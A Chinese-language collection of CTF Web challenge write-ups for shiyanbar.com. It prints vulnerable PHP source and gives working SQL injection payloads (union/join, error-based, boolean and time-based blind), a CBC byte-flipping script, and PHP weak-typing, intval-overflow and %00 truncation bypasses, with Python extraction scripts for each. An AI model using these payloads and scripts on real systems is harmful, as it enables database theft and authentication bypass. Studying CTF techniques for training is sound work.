实验吧Web题解
简单的登录题 网址:http://ctf5.shiyanbar.com/web/jiandan/index.php
burp抓包发现响应包头部tips:test.php
test.php给出了index.php的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php define("SECRET_KEY", '***********'); define("METHOD", "aes-128-cbc"); error_reporting(0); include('conn.php'); function sqliCheck($str){ if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ return 1; } return 0; } function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv; } function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher)); } function show_homepage(){ global $link; if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize"); $sql="select * from users limit ".$info['id'].",0"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){ $rows=mysqli_fetch_array($result); echo 'Hello!'.$rows['username'].''; } else{ echo 'Hello!'; } } else{ die("ERROR!"); } } } if(isset($_POST['id'])){ $id = (string)$_POST['id']; if(sqliCheck($id)) die("sql inject detected!"); $info = array('id'=>$id); login($info); echo 'Hello!'; } else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){ show_homepage(); } else{ echo '<body class="login-body" style="margin:0 auto"> <div id="wrapper" style="margin:0 auto;width:800px;"> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>input id to login</span> </div> <div class="content"> <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" /> </div> <div class="footer"> <p><input type="submit" name="submit" value="Login" class="button" /></p> </div> </form> </div> </body>'; } } ?>
审计代码,首先对我们post的参数id进行了sql语句关键词过滤,其中过滤了union,逗号,#,=,-,like,然后通过过滤后对数组plain进行cbc加密,加密后的值cipher和随机16位字符串iv存储在cookie对应的字段中,最终将cbc解密的id值执行sql语句
1 select * from users limit ".$info['id']." ,0
可见,不管我们给id赋值1,2,3等,最终经过limit id,0后都得不到查询结果。我们要进行sql注入的话,就必须将后面的0注释掉,但是这里过滤掉了注释符#,–,所以用%00代替注释
给个payload:1;%00,通过burp先post id=1;%00,再将得到的cookie加入请求头的cookie字段,然后再访问,但是这里可能是php或者mysql修复了%00截断,因为直接输入1;%00依然无法实现截断
以下这段话参考别人的文章:
%00截断并不是字面意义上的截断,而是指%00经过urldecode之后会变成空字符\0,我们知道在c语言中\0是字符串的结尾,所以\0之后的字符就被截断了。所以,在本道题中不能直接输入1;%00,因为这样会被编码成1%3B%2500,需要用burpsuit抓包后修改为1%3B%00,然后再post才能成功截断。
试着post id=1%3B%00
成功得到用户名信息
那么我们继续执行注入,必须用到union,但是这里过滤了union,所以我们通过cbc字节翻转的方式,具体cbc字节翻转攻击原理就不具体说了,可以参考我之前的文章。此外,还过滤了逗号,那么我们可以用连接关键词join
下面直接给出payloads
注数据库名的payload:0 Anion select * from ((select 1)a join (select database())b join (select 3)c);%00
注表名的payload:0 Anion select * from ((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema=database())b join (select 3)c);%00
注列名的payload:0 Anion select * from ((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name=’you_want’)b join (select 3)c);%00
注数据的payload:0 Anion select * from ((select 1)a join (select group_concat(value) from you_want)b join (select 3)c);”%00
下面给出最后注出flag的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requests,base64,urllib,reurl = "http://ctf5.shiyanbar.com/web/jiandan/index.php" data = { 'id' : "0 Anion select * from ((select 1)a join (select group_concat(value) from you_want)b join (select 3)c);" +chr(0 ) } r1 = requests.post(url,data=data) cookies = requests.utils.dict_from_cookiejar(r1.cookies) cipher = base64.b64decode(urllib.unquote(cookies['cipher' ])) index = 7 new_cipher = cipher[:index] + chr(ord(cipher[index])^ord('A' )^ord('u' )) + cipher[index+1 :] new_cipher = urllib.quote_plus(base64.b64encode(new_cipher)) cookies['cipher' ] = new_cipher r2 = requests.get(url,cookies=cookies) plain = base64.b64decode(re.findall("base64_decode\('(.*)'\)" ,r2.text)[0 ]) iv = base64.b64decode(urllib.unquote(cookies['iv' ])) target = 'a:1:{s:2:"id";s:' new_iv = "" for i in range(16 ): new_iv = new_iv + chr(ord(iv[i])^ord(plain[i])^ord(target[i])) cookies['iv' ] = urllib.quote_plus(base64.b64encode(new_iv)) r3 = requests.get(url,cookies=cookies) r3.encoding = r3.apparent_encoding print r3.text
说明一下在python中chr(0)代表空字符的意思,而我们要进行截断都是通过空字符来截断
后台登录 网址:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
源代码:
1 2 3 4 5 6 7 8 9 $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密码错误!'; }
对参数password进行了md5加密,看似不能进行sql注入,但是这里md5函数里出现参数true,查询一下md5参数加入了参数true,得到的是原始16位的二进制数
在本地测试了一下:
1 2 3 4 5 6 7 8 <?php $str = 'hello' ; echo md5($str,true );echo '<br>' ;echo md5($str);?>
二进制数在浏览器上显示时会转化为字符串
所以我们进行注入的话,就必须要想办法让md5加密后是’or 6的形式
这里直接拿别人得到的字符串: ffifdyop
可以看到加密后的字符串为’or’6É]™é!r,ùíb
拼接到sql语句为
1 SELECT * FROM admin WHERE username = 'admin' and password = '".' or '6É]™é!r,ùíb."'
语句恒真,始终有查询结果,成功注出flag
加了料的报错注入 网址:http://ctf5.shiyanbar.com/web/baocuo/index.php
源代码提示了需要post参数username和password
还给出了sql语句
1 select * from users where username='$username' and password ='$password'
使用万能密码登录admin用户,username=admin&password=’ or ‘1
登录成功,但没有给出flag,说明要进行题目说的报错注入才能得到flag
尝试在username参数进行报错注入,但发现过了括号,注释符#,–,%3B%00
但是行注释符没有被过滤,我们可以通过行注释符注释掉中间的’ and password=’进行注入
得出payload:
1 username=admin' /*&password=*/ or '
拼接后相当于执行sql语句
1 select * from users where username='admin' or ''
在本地数据库演示
那么使用在username中使用extract,在password中使用括号,再通过行注释符注释中间,最终拼接成完成的extractvalue注入,就是我们的目的
先注出数据库
payload:
1 username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select database()),0x3a)) or '
注表名
payload:
1 username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x3a)) or '
猜测flag可能在表ffll44jj中
注列名
payload:
1 username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x3a)) or '
注数据
payload:
1 username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select value from ffll44jj),0x3a)) or '
获得flag
认真一点 网址:http://ctf5.shiyanbar.com/web/earnest/index.php
输入id=1,页面返回You are in…,输入id等于其他值都返回You are not in,输入id=1’,返回You are not in,输入id=1”,返回You are in,猜测id可能被单引号包裹
那么我们可以根据返回信息的不同进行基于布尔的注入,但是经过测试,这题过滤了注释符,空格,逗号,substr,同时将or替换为空字符串,替换的解决方法是双写or绕过,过滤了空格可以用括号代替,substr用mid代替,过滤了逗号,可以用mid from for
给出脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import requestsurl = "http://ctf5.shiyanbar.com/web/earnest/index.php" all_string = '''qwertyuiopasdfghjklzxcvbnm `~1234567890!@#$%^&*()-_=+[{]};:'"\|<,>.?/QWERTYUIOPASDFGHJKLZXCVBNM''' database = "" table_name = "" column_name = "" flag = "" for i in range(1 ,100 ): f = 0 for j in all_string: print('checking ' +j) data = { 'id' :"0'oorr(ascii(mid((database())from(" +str(i)+")foorr(1)))=" +str(ord(j))+")oorr'0" } r = requests.post(url,data=data) if 'You are in ................' in r.text: print("The " +str(i)+" place of database is: " +j) database = database + j f = 1 break if f == 0 and j == 'M' : break print("database: " +database) for i in range(1 ,100 ): f = 0 for j in all_string: print('checking ' +j) data = { 'id' :"0'oorr(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(" +str(i)+")foorr(1)))=" +str(ord(j))+")oorr'0" } r = requests.post(url,data=data) if 'You are in ................' in r.text: print("The " +str(i)+" place of table_name is: " +j) table_name = table_name + j f = 1 break if f == 0 and j == 'M' : break print("table_name: " +table_name) for i in range(1 ,100 ): f = 0 for j in all_string: print('checking ' +j) data = { 'id' :"0'oorr(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from(" +str(i)+")foorr(1)))=" +str(ord(j))+")oorr'0" } r = requests.post(url,data=data) if 'You are in ................' in r.text: print("The " +str(i)+" place of column_name is: " +j) column_name = column_name + j f = 1 break if f == 0 and j == 'M' : break print("column_name: " +column_name) for i in range(1 ,100 ): f = 0 for j in all_string: print('checking ' +j) data = { 'id' :"0'oorr(ascii(mid((select(fL$4G)from(fiag))from(" +str(i)+")foorr(1)))=" +str(ord(j))+")oorr'0" } r = requests.post(url,data=data) if 'You are in ................' in r.text: print("The " +str(i)+" place of flag is: " +j) flag = flag + j f = 1 break if f == 0 and j == 'M' : break print("flag: " +flag)
你真的会PHP吗 网址:http://ctf5.shiyanbar.com/web/PHP/index.php
抓包发现响应包头部存在提示字段:hint: 6c525af4059b4fe7d8c33a.txt
访问得到源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php $info = ""; $req = []; $flag="xxxxxxxxxx"; ini_set("display_error", false); error_reporting(0); if(!isset($_POST['number'])){ header("hint:6c525af4059b4fe7d8c33a.txt"); die("have a fun!!"); } foreach([$_POST] as $global_var) { foreach($global_var as $key => $value) { $value = trim($value); is_string($value) && $req[$key] = addslashes($value); } } function is_palindrome_number($number) { $number = strval($number); $i = 0; $j = strlen($number) - 1; while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } if(is_numeric($_REQUEST['number'])){ $info="sorry, you cann't input a number!"; }elseif($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }else{ $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; }else{ if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; }else{ $info=$flag; } } } echo $info;
审计,整理思路,列出主要代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if(is_numeric($_REQUEST['number'])){ $info="sorry, you cann't input a number!"; }elseif($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }else{ $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; }else{ if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; }else{ $info=$flag; } } } ?>
1.首先必须POST参数number,然后得到关键参数$_REQUEST[‘number’]和$req[‘number’],$req[‘number’]是通过数组POST遍历获得
2.$_REQUEST[‘number’]不能是一个数字字符串,且$req[‘number’]通过intval函数取整形值后再转换成字符串必须等于原本的$req[‘number’]
3.$req[‘number’]通过intval函数取整形值必须等于$req[‘number’]通过strrev函数取回文字符串后再通过intval函数取整形值
4.$req[‘number’]通过is_palindrome_number函数检测不能是一个回文数
首先考虑思路的第二步,不能是数字字符串,但是却取整形值后要等于原来的值,看似不可能,但是我们可以通过%00截断is_numeric函数
接下来考虑思路的第三步和第四步,前后检测是否为回文数明显矛盾,这里解决方法是利用intval函数的溢出
参考别人的题解里的一句话:intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。 举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。
通过上面我们知道服务器的操作系统是32位的,所以我们构造2147483647就可以同时满足2,3条件
所以赋值number=2147483647%00即可获得flag
我们可以在本地环境测试一下,给出我本地测试的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php $info = ""; $req = []; $flag="flag{xxxxxxxxxx}"; ini_set("display_error", false); error_reporting(0); if(!isset($_GET['number'])){ header("hint:6c525af4059b4fe7d8c33a.txt"); die("have a fun!!"); } foreach([$_GET] as $global_var) { foreach($global_var as $key => $value) { $value = trim($value); is_string($value) && $req[$key] = addslashes($value); } } function is_palindrome_number($number) { $number = strval($number); $i = 0; $j = strlen($number) - 1; while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } echo "\$_REQUEST['number'] = ".$_REQUEST['number'].'<br>'; echo "\$req['number'] = ".$req['number'].'<br>'; echo "is_numeric(\$_REQUEST['number']) = ".is_numeric($_REQUEST['number']).'<br>'; echo "intval(\$req['number']): ".intval($req['number']).'<br>'; echo "\$value1 = intval(\$req['number']) = ".intval($req['number']).'<br>'; echo "strrev(\$req['number']) = ".strrev($req['number']).'<br>'; echo "\$value2 = intval(strrev(\$req['number'])) = ".intval(strrev($req["number"])).'<br>'; if(is_numeric($_REQUEST['number'])){ $info="sorry, you cann't input a number!"; }elseif($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }else{ $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; }else{ if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; }else{ $info=$flag; } } } echo $info; ?>
赋值number=2147483647%00
执行结果如下:
可以看到%00成功截断了函数is_numeric,而intval函数会忽略%00,所以strval的值等于原来的值,思路的第二步成功
再看$req[‘number’]通过strrev函数处理的结果是7463847412,但是再经过intval函数处理结果依旧是原来的2147483647,这就是intval函数溢出,因为2147483647已经是最大值了,大于这个最大值的数经过intval函数处理都是2147483647,而2147483647经过is_palindrome_number函数处理一定返回false,因为它本来就不是回文数
最终获得的flag
登陆一下好吗?? 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!
flag格式:ctf{xxxx}
解题链接:http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
考察SQL注入,猜测后台SQL如下:
1 select * from user where username='$username' and password ='$password'
尝试使用: ‘=’ ,SQL语句就变成:
1 select * from user where username='' ='' and password ='' =''
按照逻辑,从左往右: username=’’ 然后 ‘’=’’ 为真,password 也一样,类似下面:
所以我们账号和密码都填 ‘=’ ,即可获得flag。
who are you? 我要把攻击我的人都记录db中去!
解题链接:http://ctf5.shiyanbar.com/web/wonderkun/index.php
发现题目会记录用户的IP地址,并记录到数据库中,那么我们就想到使用 HTTP 数据包头部的 X-Forwarded-For 字段伪造IP,进行 SQL 注入。尝试使用 payload : 1’ and sleep(3) and ‘1 ,发现成功执行。
接下来,我们使用 payload : 1’ and if(substr((select flag from flag),1,1),sleep(3),0) and ‘1 ,发现逗号被过滤了:
那么我们可以换成下面这种结构: 1’ and (select case when substr((select flag from flag) from 1 for 1)=’c’ then sleep(3) else 0 end) and ‘1
接下来编写脚本跑一下就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsflag = '' url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php" chars = "0123456789abcdefghijklmnopqrstuvwxyz" for i in range(1 ,50 ): for ch in chars: headers = { "X-Forwarded-For" : "1' and (select case when substr((select flag from flag) from %s for 1)='%s' then sleep(5) else 0 end) and '1" % (i,ch) } try : r = requests.get(url=url,headers=headers,timeout=5 ) except : flag += ch print(flag) if (ch == "}" ): exit() break
这题flag为:ctf{cdbf14c9551d5be5612f7bb5d2867853} 因为网络非常不稳定,直接给出flag。
简单的sql注入 网址:http://ctf5.shiyanbar.com/423/web/
注入点为id,数字型注入,过滤了注释符#,–+,id被单引号包裹
此外还过滤了
1 union ,select ,order ,by ,table_schema,column_name,information_schema.columns
用行注释符代替空格,就不用去考虑过滤的问题,再想办法构造where ‘1,或者select 1 ‘ 闭合最后的单引号
爆数据库payload:
1 ?id=0%27/**/union/**/select/**/database()/**/%27
爆表payload:
1 ?id=0%27/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/ttable_schemaable_schema=%27web1
爆列payload:
1 ?id=0%27/**/union/**/select/**/ccolumn_nameolumn_name/**/from/**/infinformation_schema.columnsormation_schema.columns/**/where/**/table_name=%27flag
爆数据payload:
1 ?id=0%27/**/union/**/select/**/flag/**/from/**/flag/**/where/**/%271
简单的sql注入之2 网址:http://ctf5.shiyanbar.com/web/index_2.php
同样注入点是id,数字型注入,过滤了空格,用行注释符代替即可
爆库payload:
1 ?id=0%27/**/union/**/select/**/database()/**/%23
爆表payload:
1 ?id=0%27/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27web1
爆列payload:
1 ?id=0%27/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27flag
爆数据payload:
1 ?id=0%27/**/union/**/select/**/flag/**/from/**/flag/**/%23
简单的sql注入之3 网址:http://ctf5.shiyanbar.com/web/index_3.php
有查询结果返回hello,无结果则不返回,有报错信息,但是过滤了extractvalue和updatexml,所以选择用基于布尔的盲注
python脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsall_string = '''qwertyuiopasdfghjklzxcvbnm{}QWERTYUIOPASDFGHJKLZXCVBNM@_1234567890 ''' database = "" ''' for i in range(1,100): for j in all_string: f = 0 print('checking '+j) url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select database()),%s,1))=%s--+"%(str(i),ord(j)) r = requests.get(url) if "Hello!" in r.text: print('The '+str(i)+' place of database is: '+j) database = database + j f = 1 break if f == 0 and j == '?': break print('database: '+database) ''' flag = "" for i in range(1 ,100 ): for j in all_string: f = 0 print('checking ' +j) url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select flag from flag),%s,1))=%s--+" %(str(i),ord(j)) r = requests.get(url) if "Hello!" in r.text: print('The ' +str(i)+' place of flag is: ' +j) flag = flag + j f = 1 break if f == 0 and j == ' ' : break
因缺思汀的绕过 网址:http://ctf5.shiyanbar.com/web/pcat/index.php
源代码给出了提示:source.txt
访问得到源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "姘村彲杞借垷锛屼害鍙禌鑹囷紒"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "浜﹀彲璧涜墖锛�"; } }else{ print "涓€棰楄禌鑹囷紒"; } mysql_close($con); ?>
审计代码,得到flag的思路:
1.需要POST两个参数uname和pwd
2.经过sql查询后返回的结果行数必须为1
3.查询结果的pwd字段必须等于我们POST的参数pwd值
这里过滤了关键字and,select,from,where,union,join,sleep,benchmark,(,),逗号
我们必须控制查询结果的pwd字段,而这里union被过滤了,基于布尔的盲注也不行
解决方法是用with rollup,它的作用是在查询结果的最后一行添加null,但是必须配合group by来使用
在本地数据库测试:
所以我们可以通过group by pwd with rollup来返回一行查询结果,其中pwd列下的数据为NULL,然后POST的参数pwd赋值为空,就可以控制两个参数相等
那么我们接下来就是控制查询行数为1
通过limit 1来控制查询行数为1,但是还要返回NULL的那行,这里逗号被过滤了,可以使用 limit 1 offset 0
,效果跟limit 0,1是一样的
所以最终的payload:
1 uname=' or 1 group by pwd with rollup limit 1 offset 2#&pwd=
天下武功唯快不破 网址:http://ctf5.shiyanbar.com/web/10/10.php
burp抓包发现响应头部存在FLAG字段
FLAG字段经过BASE64加密
解密后post参数key等于解密后的值
没有得到flag,发现头部FLAG字段值又发生了变化,想起题目可能要快速提交flag,可能要写脚本提交key
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsimport base64url = "http://ctf5.shiyanbar.com/web/10/10.php" s = requests.Session() r = s.get(url) FLAG = base64.b64decode(r.headers['FLAG' ]) FLAG = bytes.decode(FLAG) FLAG = FLAG.split(':' )[1 ] data = { 'key' :FLAG } r = requests.post(url,data=data) print(r.text)
运行结果:CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}
拐弯抹角 网址:http://ctf5.shiyanbar.com/indirection/index.php
给出了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php // code by SEC@USTC echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; $URL = $_SERVER['REQUEST_URI']; //echo 'URL: '.$URL.'<br/>'; $flag = "CTF{???}"; $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); $stop = 0; //这道题目本身也有教学的目的 //第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的 //所以,第一个要求就是不得出现 ./ if($flag && strpos($URL, './') !== FALSE){ $flag = ""; $stop = 1; //Pass } //第二,我们可以构造 \ 来代替被过滤的 / //所以,第二个要求就是不得出现 ../ if($flag && strpos($URL, '\\') !== FALSE){ $flag = ""; $stop = 2; //Pass } //第三,有的系统大小写通用,例如 indirectioN/ //你也可以用?和#等等的字符绕过,这需要统一解决 //所以,第三个要求对可以用的字符做了限制,a-z / 和 . $matches = array(); preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); if($flag && empty($matches) || $matches[1] != $URL){ $flag = ""; $stop = 3; //Pass } //第四,多个 / 也是可以的 //所以,第四个要求是不得出现 // if($flag && strpos($URL, '//') !== FALSE){ $flag = ""; $stop = 4; //Pass } //第五,显然加上index.php或者减去index.php都是可以的 //所以我们下一个要求就是必须包含/index.php,并且以此结尾 if($flag && substr($URL, -10) !== '/index.php'){ $flag = ""; $stop = 5; //Pass } //第六,我们知道在index.php后面加.也是可以的 //所以我们禁止p后面出现.这个符号 if($flag && strpos($URL, 'p.') !== FALSE){ $flag = ""; $stop = 6; //Pass } //第七,现在是最关键的时刻 //你的$URL必须与/indirection/index.php有所不同 if($flag && $URL == '/indirection/index.php'){ $flag = ""; $stop = 7; //Pass } if(!$stop) $stop = 8; echo 'Flag: '.$flag; echo '<hr />'; for($i = 1; $i < $stop; $i++) $code = str_replace('//Pass '.$i, '//Pass', $code); for(; $i < 8; $i++) $code = str_replace('//Pass '.$i, '//Not Pass', $code); echo highlight_string($code, TRUE); echo '</body></html>';
绕过思路源代码都给出了提示,考察的是url伪静态,比如url中含有xxxx.php/xx/x,那么.php后的xx就会被当成参数名,x会被当成参数
所以可以构造payload:http://ctf5.shiyanbar.com/indirection/index.php/a/index.php
网址:http://ctf5.shiyanbar.com/10/main.php
burp抓包试着修改showsouce参数=1
提示了源代码
1 2 3 4 5 6 $a = $_POST["PIN"]; if ($a == -19827747736161128312837161661727773716166727272616149001823847) { echo "Congratulations! The flag is $flag"; } else { echo "User with provided PIN not found."; }
POST参数PIN等于-19827747736161128312837161661727773716166727272616149001823847
拿到flag
天网管理系统 网址:http://ctf5.shiyanbar.com/10/web1/index.php
首先源代码给出了提示
1 <!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
这里应该是POST参数username,然后加密后的值 == ‘0’
这里涉及PHP的弱类型比较,== 比较时,PHP会将数字字符串的数字值取出进行比较,例如’0’ == ‘0abc’
所以我们只需要找到一个md5加密后的值0开头的字符串即可,典型的为240610708 和 QNKCDZO
POST参数username=240610708得到/user.php?fame=hjkleffifer
访问后又得到一串代码:
1 2 3 4 5 6 7 8 $unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
审计后发现需要POST一个序列化后的值,使得反序列化后的数组user键的值和pass键的值 == 未知字符串,题目还给出了提示“成也布尔,败也布尔”,这里又需要利用PHP弱类型比较,当布尔类型的true与任何字符串弱类型相等
本地测试得到序列化后的值
1 2 3 4 5 6 7 <?php $data_unserialize = array ('user' => True ,'pass' => True ); $unserialize_str = serialize($data_unserialize); echo $unserialize_str;?>
执行结果
a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}
POST后得到flag
忘记密码了 网址:http://ctf5.shiyanbar.com/10/upload/step1.php
一个找回密码的页面,试着源代码看不出提示信息,试着注册一个email
弹框提示了./step2.php?email=youmail@mail.com&check=???????
访问step2.php的源代码,发现
1 2 <meta name="admin" content="admin@simplexue.com" /> <meta name="editor" content="Vim" /
1 2 3 4 5 6 7 8 9 10 <form action="submit.php" method="GET"> <h1>找回密码step2</h1> email:<input name="emailAddress" type="text" <br /> <b>Notice</b>: Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br /> <br /> <b>Notice</b>: Undefined index: email in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br /> value="" disable="true"/></br> token:<input name="token" type="text" /></br> <input type="submit" value="提交"> </form>
发现这个页面会GET两个参数emailAddress和token到submit.php
访问submit.php,提示you are not an admin
在step2.php中我们还发现了该页面可能是通过vim编写的,所以可能存在.submit.php.swp
访问后得到提示代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ........这一行是省略的代码........ ........这一行是省略的代码........ if (!empty ($token)&&!empty ($emailAddress)){ if (strlen($token)!=10 ) die ('fail' ); if ($token!='0' ) die ('fail' ); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'" ; $r = mysql_query($sql) or die ('db error' ); $r = mysql_fetch_assoc($r); $r = $r['num' ]; if ($r>0 ){ echo $flag; }else { echo "失败了呀" ; } }
审计后的思路
1.需要GET参数token和emailAddress
2.token值长度为10且必须弱类型等于0
3.sql语句有查询结果
首先弱类型相等,且长度为10,那么token可以赋值’0000000000’
然后emailAddress猜测是在step2.php中的admin@simplexue.com
得出payload:emailAddress=admin@simplexue.com&token=0000000000
得到flag
Once More 网址:http://ctf5.shiyanbar.com/web/more.php
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php if (isset ($_GET['password' ])) { if (ereg ("^[a-zA-Z0-9]+$" , $_GET['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen($_GET['password' ]) < 8 && $_GET['password' ] > 9999999 ) { if (strpos ($_GET['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?>
审计源代码,获得flag需要绕过3个检测:
1.符合ereg正则匹配,用%00绕过即可
2.password长度小于8但是值大于9999999,用科学计数法即可绕过
3.*-*
必须出现在password值中
最后payload:
Guess Next Session 网址:http://ctf5.shiyanbar.com/web/Session.php
源代码:
1 2 3 4 5 6 7 8 9 10 11 <?php session_start(); if (isset ($_GET['password' ])) { if ($_GET['password' ] == $_SESSION['password' ]) die ('Flag: ' .$flag); else print '<p>Wrong guess.</p>' ; } mt_srand((microtime() ^ rand(1 , 10000 )) % rand(1 , 10000 ) + rand(1 , 10000 )); ?>
